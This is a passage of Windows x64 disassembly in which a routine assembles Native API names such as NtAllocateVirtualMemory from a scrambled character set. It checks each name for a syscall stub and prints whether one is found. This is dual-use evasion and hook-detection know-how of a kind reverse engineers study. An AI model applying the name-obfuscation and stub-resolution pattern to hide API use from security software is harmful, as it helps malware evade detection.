call fcn.1400ada50
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x18b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x18df]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x18e0]
mov rcx, qword [rbp + 0x2da0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x1400064fc
lea rbx, [0x1400d6414]
jmp 0x140006503
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1b0f]
mov qword [rbp + 0x2cb0], rax
nop
nop
lea rdx, [rbp + 0x1b0f]
lea rax, [rbp + 0x1ae0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x1400d6454]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x1400d63fa]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x1400d645a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1900]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1b10]
mov rcx, qword [rbp + 0x2d98]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140006890
lea rbx, [0x1400d6414]
jmp 0x140006897
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1d9f]
mov qword [rbp + 0x2ca8], rax
nop
nop
lea rdx, [rbp + 0x1d9f]
lea rax, [rbp + 0x1d70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x1400d63fa]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1400d6442]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1b30]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1d9f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1da0]
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140006ca8
lea rbx, [0x1400d6414]
jmp 0x140006caf
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x200f]
mov qword [rbp + 0x2ca0], rax
nop
nop
lea rdx, [rbp + 0x200f]
lea rax, [rbp + 0x1fe0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x1400d645c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1400d6436]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x1400d6440]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1dc0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x200f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x2010]
mov rcx, qword [rbp + 0x2d88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140007094
lea rbx, [0x1400d6414]
jmp 0x14000709b
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x227f]
mov qword [rbp + 0x2c98], rax
nop
nop
lea rdx, [rbp + 0x227f]
lea rax, [rbp + 0x2250]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x1400d6448]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1400d6436]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x1400d6440]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x2030]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x227f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x2280]
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140007480
lea rbx, [0x1400d6414]
jmp 0x140007487
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x24af]
mov qword [rbp + 0x2c90], rax
nop
nop
lea rdx, [rbp + 0x24af]
lea rax, [rbp + 0x2480]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x1400d645e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x1400d643e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x1400d6440]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x22a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x24af]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x24b0]
mov rcx, qword [rbp + 0x2d78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140007814
lea rbx, [0x1400d6414]
jmp 0x14000781b
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x267f]
mov qword [rbp + 0x2c88], rax
nop
nop
lea rdx, [rbp + 0x267f]
lea rax, [rbp + 0x2650]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1400d644e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1400d645a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1400d6448]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x24d0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400ada10
